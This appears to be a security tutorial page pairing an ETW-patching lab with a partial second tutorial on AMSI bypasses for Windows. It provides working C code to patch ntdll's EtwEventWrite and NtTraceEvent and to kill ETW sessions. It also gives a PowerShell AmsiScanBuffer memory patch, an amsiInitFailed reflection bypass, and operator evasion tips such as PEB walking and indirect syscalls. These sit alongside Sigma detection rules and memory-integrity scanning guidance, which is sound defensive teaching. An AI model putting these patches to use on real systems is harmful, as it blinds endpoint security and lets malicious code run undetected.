ETW Patching: Blinding Event Tracing for Windows

Objective: Build a working ETW provider/consumer lab, then blind it end-to-end using the same user-mode ntdll patching techniques red teams use in the wild. Every offensive step is paired with the exact detection that catches it, so you leave with both sides of the craft.


The first time I ran a xor rax,rax; ret patch against EtwEventWrite in a lab, the effect was almost anti-climactic. Four bytes. One memcpy. My consumer went silent mid-loop. That’s the point of this technique and also its weakness: it is trivial to execute, trivial to detect if you know where to look, and utterly useless against anything the kernel emits. Half the payoff of the walkthrough below is teaching you what ETW patching does not fix for the attacker, because that is where mature EDRs live now.

We are going to build a small provider, a small consumer, watch events flow, patch ntdll in-process, watch them stop, then walk the deeper NtTraceEvent variant, the admin session-kill path, and finally the detection stack that eats every one of these techniques for lunch.

Windows 10/11 VM. No third-party AV for the first pass so signals are clean. Sysmon v15+ with a permissive config. WinDbg Preview, x64dbg, System Informer (or Process Hacker 2), PE-sieve, Moneta. Visual Studio with the C/C++ workload.


1. ETW Architecture: Providers, Sessions, Consumers

ETW was born as a performance-tracing framework and grew into the primary user-mode telemetry bus that EDRs subscribe to. Three moving parts:

ComponentRole
ProviderAny DLL/EXE that emits events. Identified by a GUID. Calls EventWrite* from advapi32/ntdll.
Session (Controller)A kernel-side buffer with a name and a list of enabled provider GUIDs plus keyword/level masks. Created with StartTrace.
ConsumerReads events out of a session (real-time or from an .etl file) via OpenTrace/ProcessTrace. This is what an EDR agent is.

To see this concretely, from an elevated prompt:

logman query -ets
logman query providers

You’ll see sessions like EventLog-System, DefenderApiLogger, DefenderAuditLogger, and a hundred others. Those Defender sessions are PPL-protected: stopping them from user-mode, even as SYSTEM, is not going to work without a bypass. Note that fact, we come back to it.

The important intuition: when your provider calls EventWrite, the event does not go to the EDR. It goes to every session currently subscribed to your provider GUID. The EDR is one of those consumers. If you break the write in ntdll before it reaches the kernel buffer, no session receives anything.


2. The User-Mode Call Chain to NtTraceEvent

Every user-mode write eventually funnels into ntdll!NtTraceEvent, which is the syscall stub. The high-level surface has five entry points:

APINotes
EtwEventWriteThe classic entry; internally calls EtwEventWriteFull.
EtwEventWriteFullReal work; also directly reachable.
EtwEventWriteExFilter-aware variant.
EtwEventWriteStringString-only convenience.
EtwEventWriteTransferActivity-ID aware.

All five drain into NtTraceEvent. That is why the NtTraceEvent patch is strictly more powerful than the EtwEventWrite patch: one stub covers every provider in the process, no matter which surface API they use.

Attach x64dbg to any process, jump to ntdll.NtTraceEvent, and you’ll see the canonical x64 syscall stub:

; ntdll!NtTraceEvent (x64 Windows 10/11)
mov     r10, rcx                ; 4C 8B D1
mov     eax, 5E                 ; B8 5E 00 00 00   <- SSN, version-dependent
test    byte ptr [7FFE0308h], 1 ; 
jne     short KiFastSystemCall
syscall                         ; 0F 05
ret                             ; C3

Two patch surfaces jump out. Overwrite offset 0 with a return stub, or corrupt the immediate that loads eax (the System Service Number) so the syscall fails predictably. Both are covered below.


Flowchart showing the ETW user-mode call chain from EventWrite through EtwEventWrite and EtwEventWriteFull down to NtTraceEvent syscall stub and into the kernel ETW buffer consumed by EDR sessions
Every user-mode ETW write API funnels through a single syscall stub – making NtTraceEvent the highest-value patch target.

3. Memory Permissions and the Patch Setup

The .text section of ntdll.dll is mapped PAGE_EXECUTE_READ and backed by the image on disk (MEM_IMAGE, shared). Try to memcpy into it as-is and you eat an access violation.

The mandatory dance: flip protection to PAGE_EXECUTE_READWRITE (0x40), write the patch, optionally restore. The moment you write into a shared image page, the kernel copy-on-writes it. That page transitions from MEM_IMAGE / Shared to MEM_PRIVATE / Commit. That transition is the single strongest forensic signal in this whole tutorial, and it survives even if you restore the protection mask.

You can verify in WinDbg:

0:000> !address ntdll!EtwEventWrite
...
Type:     MEM_IMAGE                      <- before patch
State:    MEM_COMMIT
Protect:  PAGE_EXECUTE_READ

0:000> !address ntdll!EtwEventWrite      <- after patch
Type:     MEM_PRIVATE                    <- gotcha
State:    MEM_COMMIT
Protect:  PAGE_EXECUTE_READ

That “PRIVATE” verdict is what PE-sieve and Moneta hunt for.


Conceptual illustration of a shared memory image page splitting into a private copy after being written to, representing the MEM_IMAGE to MEM_PRIVATE transition caused by copy-on-write during ETW patching
The moment you write the patch, the kernel copy-on-writes the ntdll page – flipping it from MEM_IMAGE to MEM_PRIVATE, a forensic marker that outlives the process.

4. Lab Target: A Custom Provider and Consumer

Before we patch anything, we need something to blind. Two tiny programs.

4.1 Provider

// etw-provider-lab.c
// cl /W4 etw-provider-lab.c advapi32.lib
#include <windows.h>
#include <evntprov.h>
#include <stdio.h>

// {A1B2C3D4-1111-2222-3333-444455556666}
static const GUID ProviderGuid =
    { 0xa1b2c3d4, 0x1111, 0x2222,
      { 0x33, 0x33, 0x44, 0x44, 0x55, 0x55, 0x66, 0x66 } };

int main(void) {
    REGHANDLE hProv = 0;
    if (EventRegister(&ProviderGuid, NULL, NULL, &hProv) != ERROR_SUCCESS) {
        printf("[-] EventRegister failed\n");
        return 1;
    }
    printf("[+] Provider registered. PID=%lu. Firing every 2s.\n", GetCurrentProcessId());

    EVENT_DESCRIPTOR desc = { 0 };
    desc.Id = 1; desc.Level = 4; desc.Keyword = 0x1;

    for (int i = 0; ; i++) {
        wchar_t msg[64];
        swprintf_s(msg, 64, L"heartbeat #%d", i);
        EVENT_DATA_DESCRIPTOR edd;
        EventDataDescCreate(&edd, msg, (ULONG)((wcslen(msg) + 1) * sizeof(wchar_t)));
        ULONG s = EventWrite(hProv, &desc, 1, &edd);
        printf("[*] EventWrite -> %lu (%d)\n", s, i);
        Sleep(2000);
    }
    EventUnregister(hProv);
    return 0;
}

EventWrite from advapi32 is a thin wrapper that lands on ntdll!EtwEventWrite. That is the whole point.

4.2 Consumer

// etw-consumer-lab.c
// cl /W4 etw-consumer-lab.c advapi32.lib tdh.lib
#include <windows.h>
#include <evntrace.h>
#include <evntcons.h>
#include <stdio.h>

static const GUID ProviderGuid =
    { 0xa1b2c3d4, 0x1111, 0x2222,
      { 0x33, 0x33, 0x44, 0x44, 0x55, 0x55, 0x66, 0x66 } };

#define SESSION_NAME L"MyLabSession"

static void WINAPI OnEvent(PEVENT_RECORD er) {
    if (IsEqualGUID(&er->EventHeader.ProviderId, &ProviderGuid)) {
        wchar_t *s = (wchar_t*)er->UserData;
        wprintf(L"[event] pid=%lu  msg=%ls\n",
                er->EventHeader.ProcessId, s ? s : L"(null)");
    }
}

int main(void) {
    const ULONG psz = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(SESSION_NAME);
    EVENT_TRACE_PROPERTIES *p = (EVENT_TRACE_PROPERTIES*)calloc(1, psz);
    p->Wnode.BufferSize = psz;
    p->Wnode.ClientContext = 1;
    p->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
    p->LogFileMode = EVENT_TRACE_REAL_TIME_MODE;
    p->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);

    TRACEHANDLE hSess = 0;
    ControlTraceW(0, SESSION_NAME, p, EVENT_TRACE_CONTROL_STOP); // clean prior
    ULONG s = StartTraceW(&hSess, SESSION_NAME, p);
    if (s != ERROR_SUCCESS) { printf("[-] StartTrace: %lu\n", s); return 1; }

    EnableTraceEx2(hSess, &ProviderGuid, EVENT_CONTROL_CODE_ENABLE_PROVIDER,
                   TRACE_LEVEL_VERBOSE, 0xFFFFFFFFFFFFFFFFULL, 0, 0, NULL);

    EVENT_TRACE_LOGFILEW lf = { 0 };
    lf.LoggerName = (LPWSTR)SESSION_NAME;
    lf.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD;
    lf.EventRecordCallback = OnEvent;

    TRACEHANDLE hTrace = OpenTraceW(&lf);
    printf("[+] Consumer running. Waiting for events...\n");
    ProcessTrace(&hTrace, 1, NULL, NULL);
    return 0;
}

Run the consumer first, then the provider. You should see [event] pid=... msg=heartbeat #0 scrolling in the consumer window. That is the signal we’re going to kill.

Sanity-check with logman query -ets. MyLabSession shows up. That is our target from Phase 5 too.


5. Lab 1: Local Patch of EtwEventWrite

Same process as the provider. We are not going to inject cross-process for this first pass, that keeps the signal clean and avoids WriteProcessMemory telemetry.

// etw_patch_lab.c
#include <windows.h>
#include <stdio.h>

static void patch_etw_eventwrite(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PVOID   pTarget = GetProcAddress(hNtdll, "EtwEventWrite");
    printf("[*] EtwEventWrite @ %p\n", pTarget);

    DWORD old = 0;
    if (!VirtualProtect(pTarget, 4, PAGE_EXECUTE_READWRITE, &old)) {
        printf("[-] VirtualProtect: %lu\n", GetLastError()); return;
    }

    // xor rax, rax ; ret   -> returns STATUS_SUCCESS silently
    unsigned char patch[] = { 0x48, 0x33, 0xC0, 0xC3 };
    memcpy(pTarget, patch, sizeof(patch));

    VirtualProtect(pTarget, 4, old, &old);
    printf("[+] Patched. This process is now ETW-deaf.\n");
}

Wire this into main before your EventRegister loop, or add a hotkey/prompt to the provider itself. The lab flow I use: provider fires heartbeats for 10 seconds, prompts for ENTER, calls patch_etw_eventwrite, continues the loop. Consumer window goes dead the instant you press ENTER, even though the provider keeps calling EventWrite and getting ERROR_SUCCESS back.

Why xor rax,rax; ret and not plain 0xC3? Two reasons. First, some callers check the return value; STATUS_SUCCESS (0) keeps them happy. Second, a lone RET is what every naive detection tutorial screenshots. 48 33 C0 C3 is only marginally stealthier at the byte level, but it looks intentional and matches real function prologues you might replace it with.

OPSEC note on GetProcAddress. GetProcAddress shows up in the IAT of your binary. An EDR that scans imports will notice a small unsigned tool that imports GetProcAddress and VirtualProtect and nothing else. In real ops you resolve EtwEventWrite by walking the PEB, hitting ntdll‘s export directory, and locating the RVA yourself. That is a separate walkthrough; for lab clarity we stay with the API.


6. Lab 2: Deeper Patch on NtTraceEvent

Same code, one identifier change:

PVOID pTarget = GetProcAddress(hNtdll, "NtTraceEvent");

Everything else is identical. The consequence is bigger: any code path in the process that reaches ETW through any of the five write APIs, including EtwEventWriteEx and EtwEventWriteTransfer, is silenced. This is the patch you actually want in a red-team payload because it doesn’t leave one of the sibling APIs uncovered.

SSN corruption variant

Instead of overwriting the prologue with a return, corrupt the syscall number:

// Overwrite the immediate operand of 'mov eax, <SSN>' at offset 4
DWORD old = 0;
VirtualProtect((BYTE*)pTarget + 4, 1, PAGE_EXECUTE_READWRITE, &old);
*((BYTE*)pTarget + 4) = 0xFF;    // bogus SSN
VirtualProtect((BYTE*)pTarget + 4, 1, old, &old);

The syscall still executes but with an invalid service number and returns STATUS_INVALID_PARAMETER (0xC000000D). Callers who don’t inspect the NTSTATUS keep going; those who do get a plausible failure that looks like normal argument validation instead of “this function has been replaced.” A single-byte modification is also a smaller diff for hash-based integrity checkers to catch, though PE-sieve still sees it.

I lost an afternoon once to a lab where SSN corruption “worked” against EtwEventWrite but the consumer kept seeing events. The reason: I patched a stub for a different Nt* function whose SSN happened to sit near NtTraceEvent in memory. Confirm the offset with a fresh WinDbg disassembly every time you switch OS build; SSNs drift across Windows versions.


7. Lab 3: Session Termination (Admin Path)

Not a patch. A cleaner sledgehammer, if you have admin.

logman query -ets
logman stop "MyLabSession" -ets

The consumer process is still alive. ProcessTrace is still blocked on its callback. No more events arrive because the session’s kernel-side buffer is gone. Programmatic equivalent:

ControlTraceW(0, L"MyLabSession", pProps, EVENT_TRACE_CONTROL_STOP);

Two caveats before you try this on a real target. First, DefenderApiLogger and DefenderAuditLogger are Secure ETW sessions running under PPL. Even SYSTEM cannot stop them without a PPL-capable process, which you don’t have without a driver or a signed abuse primitive. Second, a session vanishing is itself extraordinarily loud. A SIEM that expects continuous heartbeats from a session and suddenly gets nothing is a much stronger detection than any byte-level check.


8. What ETW Patching Does NOT Blind

Understand this or you’ll walk into a range confidently blind and get caught by the second layer. User-mode patching only blinds telemetry that is generated in user mode.

Survives patchingWhy
ETW-Ti (Microsoft-Windows-Threat-Intelligence)Emitted inside the kernel. Your NtProtectVirtualMemory call to prep the patch shows up here.
Microsoft-Windows-Kernel-ProcessProcess/thread lifecycle events raised from PspInsertThread and friends inside the kernel.
Kernel callbacksPsSetCreateProcessNotifyRoutine, ObRegisterCallbacks, CmRegisterCallback. EDR drivers register here directly.
Minifilter callbacksSysmon’s driver, ELAM drivers, and every real EDR sit here.
Audit subsystem4688 / 4663 are generated on the kernel side and go through the Security event channel, not your provider path.

Which means: patching ntdll!NtTraceEvent in powershell.exe blinds Defender AMSI/PowerShell ETW for that one process. It does not stop Sysmon from seeing the powershell.exe create, does not stop ETW-Ti from noticing the VirtualProtect you made to install the patch, and does not remove your process from Microsoft-Windows-Kernel-Process. Mature EDRs stopped relying on user-mode ETW alone years ago, precisely because of this class of technique.


Hierarchy diagram showing that ETW patching blinds only user-mode ETW while kernel-emitted telemetry channels including ETW-Ti, kernel callbacks, minifilter drivers, and Security audit events all survive the patch
User-mode ETW patching is a narrow evasion – everything the kernel emits independently remains fully intact and visible to mature EDRs.

9. OPSEC and Evasion Maturity

Where a real operator invests effort:

  • Skip GetProcAddress. Walk the PEB to ntdll, parse IMAGE_EXPORT_DIRECTORY yourself, resolve EtwEventWrite/NtTraceEvent by name hash. No IAT footprint.
  • Skip hooked stubs. Many EDRs hook NtProtectVirtualMemory in userland. Use indirect syscalls (SysWhispers-style, Hell’s Gate/Halo’s Gate to resolve SSNs at runtime) so the VirtualProtect prep does not run through the hooked path. This dodges some user-mode telemetry but does not dodge ETW-Ti.
  • Restore protection immediately. Reduces the window a memory scanner can see RWX on ntdll.
  • Accept the MEM_PRIVATE marker. You cannot undo it from user mode. The page is now private, forever, for the life of the process. Plan for the memory scanner.
  • Zero-event silhouette. If your beacon generates gigabytes of network traffic and executes hundreds of syscalls but its ETW providers emit nothing, that shape alone is anomalous.

10. Detection Deep Dive

Now flip the seat and catch it.

10.1 Memory-type divergence (the killshot)

Run PE-sieve against your patched process:

pe-sieve64.exe /pid <PID> /shellc 3 /data 3

ntdll.dll will be flagged as modified with a small .text diff. Moneta:

Moneta64.exe -m ioc -p <PID>

Look for Modified code on ntdll.dll. This detection does not care about your patch bytes, does not care about your SSN, does not care whether you restored the protection mask. It compares in-memory to on-disk. It wins.

10.2 Protection flip via Sysmon EID 10

Sysmon ProcessAccess (Event ID 10) captures cross-process handle grants, and configured aggressively it also gives you a call stack you can pattern-match against. Local VirtualProtect on your own process is less noisy in EID 10; the strongest EID 10 signal is when patching happens remotely via OpenProcess + WriteProcessMemory into another process’s ntdll.

For local in-process patching, Sysmon Event ID 25 (ProcessTampering) is what you want. It fires when process image memory diverges from the on-disk image, which is exactly what our patch does.

title: ntdll Modified In-Memory (Possible ETW Patching)
id: 3f7a3d3f-6a0b-4c6c-9e1a-1c9d0e6a9f01
status: experimental
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 25
    Type: 'Image is replaced'
  condition: selection
falsepositives:
  - Legitimate EDR self-protection at startup
  - .NET AOT loaders (rare)
level: high
tags:
  - attack.defense_evasion
  - attack.t1562.001

And the classic protection-flip rule, keyed off the call stack in EID 10:

title: Suspicious VirtualProtect on ntdll.dll .text
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 10
    TargetImage|endswith: '\ntdll.dll'
    CallTrace|contains:
      - 'kernelbase.dll'
      - 'VirtualProtect'
  condition: selection
falsepositives:
  - EDR startup hooking
level: high
tags:
  - attack.defense_evasion
  - attack.t1562.001

10.3 ETW-Ti as the backstop

A PPL-signed consumer subscribed to Microsoft-Windows-Threat-Intelligence sees the NtProtectVirtualMemory invocation on ntdll‘s address range with the target protection PAGE_EXECUTE_READWRITE. Ordinary tenants cannot run a PPL consumer, which is why this is an EDR-vendor detection, not something you can bolt on with Sysmon. Know it exists; when you’re evaluating an EDR, ask the vendor whether they consume ETW-Ti and how.

10.4 Byte-level integrity

The cheap and effective option for a defender who owns endpoints: periodically hash the .text of ntdll in-memory (via a driver, or a scheduled trusted scan) and compare to the on-disk PE’s .text. Any mismatch on a page that isn’t a legitimate hotpatch is a critical alert.

10.5 Absence-of-events heuristic

If a host normally emits a steady stream of Defender/PowerShell/DotNet ETW events and suddenly emits zero from a specific PID that is otherwise very active, that is a detection. Model it in your SIEM as a per-process baseline. It is one of the few techniques that catches an operator who did everything else right.


Illustration of a magnifying glass detecting a single corrupted memory page amid a grid of intact pages, symbolizing PE-sieve and Moneta catching MEM_PRIVATE ntdll pages during ETW patch detection
Memory integrity scanners like PE-sieve and Moneta find patched ntdll pages not by matching bytes, but by spotting the MEM_PRIVATE anomaly in a sea of shared image-backed pages.

11. Tools

ToolUseLink
WinDbg PreviewDisassemble ntdll!EtwEventWrite / NtTraceEvent, inspect !address before/after patch.microsoft.com
x64dbgLive view of patched bytes and syscall stub.x64dbg.com
System Informer / Process HackerEnumerate ETW providers registered by a PID; inspect memory regions.systeminformer.sourceforge.io
Sysmon (v15+)EID 10 (ProcessAccess) and EID 25 (ProcessTampering).learn.microsoft.com
PE-sieveScan a process for modified system DLLs; catches MEM_PRIVATE ntdll pages.github.com/hasherezade/pe-sieve
MonetaBroader in-memory IOC scan; flags modified code and unbacked regions.github.com/forrest-orr/moneta
logman.exeEnumerate/stop ETW sessions.Built-in
Volatility 3Offline dump inspection of process VADs and DLL memory.volatilityfoundation.org

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Impair Defenses: Disable or Modify ToolsT1562.001PE-sieve/Moneta ntdll integrity; Sysmon EID 25; ETW-Ti NtProtectVirtualMemory telemetry.
Impair Defenses: Indicator BlockingT1562.006Absence-of-events baseline per PID; SIEM heartbeat monitoring on ETW sessions.
Impair Defenses (parent)T1562Session enumeration/stop events (logman, ControlTrace).
Process InjectionT1055Only if patching another process: Sysmon EID 10 with GrantedAccess including PROCESS_VM_WRITE (0x20) and EID 8 for follow-on threads.

(Confirm T1562.006 wording against the current ATT&CK entry before you publish; the sub-technique text has shifted at least twice in the last two years.)


Summary

  • User-mode ETW patching is four bytes and a VirtualProtect. NtTraceEvent is the deepest and highest-value target because every write API funnels through it.
  • The forensic footprint is not the bytes, it is the memory type. Patching flips ntdll’s page from MEM_IMAGE to MEM_PRIVATE, and PE-sieve/Moneta hunt exactly that.
  • User-mode patching does not blind ETW-Ti, kernel callbacks, minifilter drivers, or the Security channel. Treat it as one narrow evasion, not a cloak.
  • Detection stack that actually works: Sysmon EID 25 for tampering, EID 10 for cross-process patch attempts, PE-sieve/Moneta for continuous integrity, ETW-Ti for the NtProtectVirtualMemory signal, and a per-PID absence-of-events baseline for the silhouette.
  • The lasting lesson for both sides: any defense that lives at the attacker’s privilege level is negotiable. Push telemetry to the kernel or to another machine before the payload runs, or plan for the patch.

Related Tutorials

References

AMSI Internals and Bypass Techniques

Objective: Understand how the Windows Antimalware Scan Interface actually works in-process, then defeat it three different ways against an authorized lab VM, and walk out knowing exactly what telemetry each bypass leaves behind so you can write the detection.


A quick note before anything else: everything below runs against a Windows 10 VM you own, with Defender enabled, on a network you control. Don’t run these techniques anywhere else. The whole point is that you learn AMSI well enough to both bypass it under authorization and detect it on the blue-team side, and the second half of that sentence is where most of the value lives.

The first time I patched AmsiScanBuffer in a real engagement I nearly closed the tab in frustration, because the payload ran fine but Sysmon lit up like a Christmas tree twenty seconds later. That is the lesson of this post in one sentence: an AMSI bypass hides the payload from AMSI, not from the operator watching Event 4104. Let’s go through it properly.


1. Why AMSI Matters to a Red Teamer

AMSI is the piece of Windows that gives Defender (or any registered AV) a look at content after it has been decoded, decrypted, or reflectively assembled in memory, but before it is actually executed by the host. That is a big deal. It kills the classic “base64-encode your PowerShell and win” era. When PowerShell, wscript, the .NET CLR, JScript, or Office hosts a script, the string that ends up in AmsiScanBuffer is the fully deobfuscated one, sitting in a buffer in-process.

If you are running fileless payloads, staged loaders, or hands-on-keyboard PowerShell during an engagement, AMSI is the thing turning your favorite one-liner into a red toast pop-up. Understanding how it is wired up in-process is the difference between copy-pasting somebody else’s bypass (and getting caught by the signature on it) and knowing which byte to touch and why.


2. AMSI Architecture, End to End

AMSI lives in amsi.dll. When an AMSI-aware host process starts, it loads amsi.dll into its own address space and calls AmsiInitialize. From that point on, all scans happen in-process in the host. amsi.dll then talks over COM to whichever antimalware providers are registered on the box, which is where Defender’s MpOav.dll provider gets involved.

Two things follow from that architecture:

  • The AMSI code is in your process, meaning if you are executing code in that process you can rewrite it. This is the entire foundation of the memory-patch bypass.
  • The provider (Defender) lives in its own service and is talked to via COM. You are not going to trivially patch MsMpEng.exe; you are going to lie to it from inside the host.

The call chain a host follows looks like this:

AmsiInitialize(appName, &ctx)
   -> AmsiOpenSession(ctx, &session)
       -> AmsiScanBuffer(ctx, buf, len, name, session, &result)
           -> [COM call to registered antimalware provider]
       <- AmsiResultIsMalware(result) ?
   -> AmsiCloseSession(ctx, session)
-> AmsiUninitialize(ctx)

For PowerShell specifically: powershell.exe calls AmsiInitialize on startup. Every time you press Enter, AmsiOpenSession runs, then AmsiScanBuffer is called with the exact script block bytes.

2.1 The Exported API Surface

Straight from amsi.h:

API FunctionPurpose
AmsiInitializeInitializes AMSI in-process, returns a HAMSICONTEXT handle.
AmsiOpenSessionOpens a scan session bound to a context.
AmsiScanBufferScans a raw buffer. The workhorse.
AmsiScanStringConvenience wrapper, internally calls AmsiScanBuffer.
AmsiCloseSessionCloses a session.
AmsiUninitializeTears down the AMSI instance.
AmsiNotifyOperationNotifies the provider of an arbitrary operation.
AmsiResultIsMalwareInterprets an AMSI_RESULT as a block/allow decision.

And the COM interfaces exposed by amsi.h: IAmsiStream, IAntimalware, IAntimalware2, IAntimalwareProvider, IAntimalwareProvider2. You will almost never touch these directly on offense; they exist for AV vendors implementing providers.

2.2 The HAMSICONTEXT Struct (Reversed, Not Official)

Microsoft does not publish this layout. The following is derived from public reverse-engineering work (Black Hat Asia 2022, Pentest Laboratories) and can shift across builds. Treat it as internal, reversed:

// Internal / reversed layout — NOT documented by Microsoft.
// Field offsets have been observed to change across Windows builds.
typedef struct HAMSICONTEXT {
    DWORD  Signature;      // 'AMSI' (0x49534D41) — magic used for validation
    PWCHAR AppName;        // set by AmsiInitialize
    DWORD  Antimalware;    // pointer to the CAmsiAntimalware COM object
    DWORD  SessionCount;   // bumped by AmsiOpenSession
} HAMSICONTEXT;

That Signature field matters. On newer Windows 11 builds Microsoft added extra validation around this header, which is exactly what breaks a bunch of the “just null the pointer” bypasses that worked on Windows 10.

2.3 The AMSI_RESULT Enum

ConstantValue
AMSI_RESULT_CLEAN0
AMSI_RESULT_NOT_DETECTED1
AMSI_RESULT_BLOCKED_BY_ADMIN_START16384
AMSI_RESULT_BLOCKED_BY_ADMIN_END20479
AMSI_RESULT_DETECTED32768

Here is the load-bearing quirk: PowerShell and the .NET CLR do not check whether the HRESULT from AmsiScanBuffer is S_OK. They only check the scan result value. Anything below 32768 is effectively “not blocked.” Push E_INVALIDARG (0x80070057) back to the caller and leave the result at 0, and PowerShell interprets that as clean and runs the payload. Remember this. It is the whole reason the memory-patch bypass is a two-instruction patch instead of a fifty-instruction chess game.


Flowchart showing the AMSI call chain from powershell.exe through AmsiInitialize, AmsiScanBuffer, a COM call, Defender's MpOav.dll provider, and back as an AMSI_RESULT
Every script block travels this in-process chain before execution – because amsi.dll lives in your process, any code running there can rewrite it.

3. Confirming AMSI Is Actually Watching You

Before we bypass anything, prove it’s on. On the lab VM, open a normal PowerShell 5.1 window and type:

'Invoke-Mimikatz'

Defender blocks it with ScriptContainedMaliciousContent and a red banner. Good. That string is a canonical AMSI signature and confirms the wire is live.

Now instrument the API path directly. Compile this on the lab VM with csc AMSIDemo.cs:

// AMSIDemo.cs — shows the raw AMSI call chain any host makes.
// csc AMSIDemo.cs
using System;
using System.Runtime.InteropServices;

class AMSIDemo {
    [DllImport("amsi.dll")] static extern int  AmsiInitialize(string appName, out IntPtr ctx);
    [DllImport("amsi.dll")] static extern int  AmsiOpenSession(IntPtr ctx, out IntPtr session);
    [DllImport("amsi.dll")] static extern int  AmsiScanBuffer(IntPtr ctx, byte[] buf, uint len,
                                                 string name, IntPtr session, out int result);
    [DllImport("amsi.dll")] static extern bool AmsiResultIsMalware(int result);

    static void Main() {
        AmsiInitialize("AMSIDemo", out IntPtr ctx);
        AmsiOpenSession(ctx, out IntPtr session);

        byte[] payload = System.Text.Encoding.Unicode.GetBytes("Invoke-Mimikatz");
        AmsiScanBuffer(ctx, payload, (uint)payload.Length, "test", session, out int res);

        Console.WriteLine($"AMSI_RESULT: {res} | IsMalware: {AmsiResultIsMalware(res)}");
    }
}

Run AMSIDemo.exe and you should see AMSI_RESULT: 32768 | IsMalware: True. That is AMSI_RESULT_DETECTED returned straight from Defender via the provider. This tiny binary is your baseline oracle for everything that follows: after each bypass you will re-run it (or an equivalent test) to confirm you actually broke the check.

3.1 Poke at AmsiScanBuffer in WinDbg

Attach WinDbg to a running powershell.exe and take the pre-patch fingerprint:

0:000> lm m amsi
0:000> x amsi!AmsiScanBuffer
0:000> u amsi!AmsiScanBuffer L10

Copy the first six or so bytes of the prologue somewhere. That is your “before” picture. When we patch it in Section 5, you’ll u it again and see mov eax, 80070057h ; ret sitting there instead of the real prologue. Being able to see the change with your own eyes is worth more than any blog post about it.


4. The .NET Reflection Surface

PowerShell wraps AMSI in an internal helper class: System.Management.Automation.AmsiUtils. Two private fields matter to us:

  • amsiInitFailed (private static bool). If this is true, the PowerShell engine assumes AMSI init failed and stops calling into it for the rest of the session.
  • amsiContext (private static IntPtr). Holds the HAMSICONTEXT pointer. Corrupt it and scan calls fail out gracefully rather than blocking.

Both are NonPublic, but .NET reflection cheerfully reaches through that if you ask it to. That is the whole “Matt Graeber one-liner” world.

Modern Defender ships strong signatures on the naive form of both of these lookups. If you paste the classic string verbatim into a stock PS session you’ll get blocked before you finish the line. That is fine, because we are going to walk each technique honestly, note where the signature is, and see what Script Block Logging catches even when the bypass “succeeds.”


5. Bypass 1: AmsiScanBuffer Memory Patch

This is the technique that broke the game and it is still the one to know first. We are not going to fight AMSI at the API level, we are going to rewrite it.

Step 1: recon your payload with AMSITrigger. Before you spend an hour obfuscating, know exactly which strings are hot:

.\AMSITrigger.exe -i .\Invoke-Mimikatz.ps1 -f 3

The tool binary-searches your script by calling AmsiScanBuffer repeatedly, and reports the exact substrings Defender flags. This alone saves you hours.

Step 2: understand the patch target. AmsiScanBuffer lives in amsi.dll in your host’s address space. Its memory is PAGE_EXECUTE_READ by default. You need to:

  1. Resolve its address with GetProcAddress.
  2. Flip the page to PAGE_EXECUTE_READWRITE (0x40) with VirtualProtect.
  3. Overwrite the prologue.
  4. Restore the original protection.

The patch bytes are six of them:

B8 57 00 07 80    mov eax, 0x80070057   ; E_INVALIDARG
C3                ret

eax is set to E_INVALIDARG. That HRESULT gets returned to the caller, but crucially the result out-parameter is never written, so it stays whatever it was initialized to (typically 0, i.e. AMSI_RESULT_CLEAN). PowerShell reads the result, sees 0, and continues.

Step 3: apply the patch from PowerShell via Add-Type.

# Lab-only. Windows 10 lab VM, own hardware/VM, Defender fully updated.
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class AmsiPatch {
    [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr h, string n);
    [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string n);
    [DllImport("kernel32")] public static extern bool  VirtualProtect(
        IntPtr addr, UIntPtr size, uint newProt, out uint oldProt);
}
"@

$lib   = [AmsiPatch]::LoadLibrary("amsi.dll")
$addr  = [AmsiPatch]::GetProcAddress($lib, "AmsiScanBuffer")

# mov eax, 0x80070057 ; ret
$patch = [byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)

$oldProt = 0
[AmsiPatch]::VirtualProtect($addr, [UIntPtr]$patch.Length, 0x40, [ref]$oldProt) | Out-Null
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, $patch.Length)
[AmsiPatch]::VirtualProtect($addr, [UIntPtr]$patch.Length, $oldProt, [ref]$oldProt) | Out-Null

Step 4: verify in WinDbg (still attached from earlier):

0:000> u amsi!AmsiScanBuffer L5
amsi!AmsiScanBuffer:
00007fff`xxxxxxxx b857000780      mov     eax,80070057h
00007fff`xxxxxxxx c3              ret

That is the whole exploit, right there. The function now returns immediately with E_INVALIDARG and never talks to Defender’s provider again for this process’s lifetime.

Step 5: fire the previously-blocked payload.

'Invoke-Mimikatz'

No red banner. The scan buffer call returns 0. PowerShell shrugs and runs it.

Gotcha that cost me an hour once: if Add-Type itself gets flagged (because your compiler-side source contains one of the hot strings), the patch never lands and you blame the patch. Test each stage in isolation: compile the helper class with a boring Foo name first, confirm it compiles, then wire in the AMSI calls.


Step-by-step flow diagram of the AmsiScanBuffer memory patch: resolve address, flip page permissions, write six-byte MOV EAX ret stub, restore permissions, resulting in E_INVALIDARG with a clean scan result
The six-byte patch short-circuits AmsiScanBuffer before it ever reaches Defender’s provider, returning E_INVALIDARG while leaving the scan result at zero.

6. Bypass 2: amsiInitFailed Flag Flip

The old classic. Cheap, powerful, and blocked on-sight by modern Defender in its naive form. Worth knowing because it teaches you the reflection primitive that later, obfuscated bypasses still rest on.

Conceptually all you need is:

# Reference pattern. Verbatim form is signatured.
$utils = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $utils.GetField('amsiInitFailed','NonPublic,Static')
$field.SetValue($null, $true)

Paste that raw and Defender kills it, because both AmsiUtils and amsiInitFailed are literal strings in your script block that AMSI scans before it runs. The historical answer has been to build those strings at runtime from character codes, splits, joins, and format operators. Daniel Bohannon’s Invoke-Obfuscation is the framework everyone uses to generate variants:

Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
# Choose TOKEN -> STRING options, iterate, test each output against AMSI

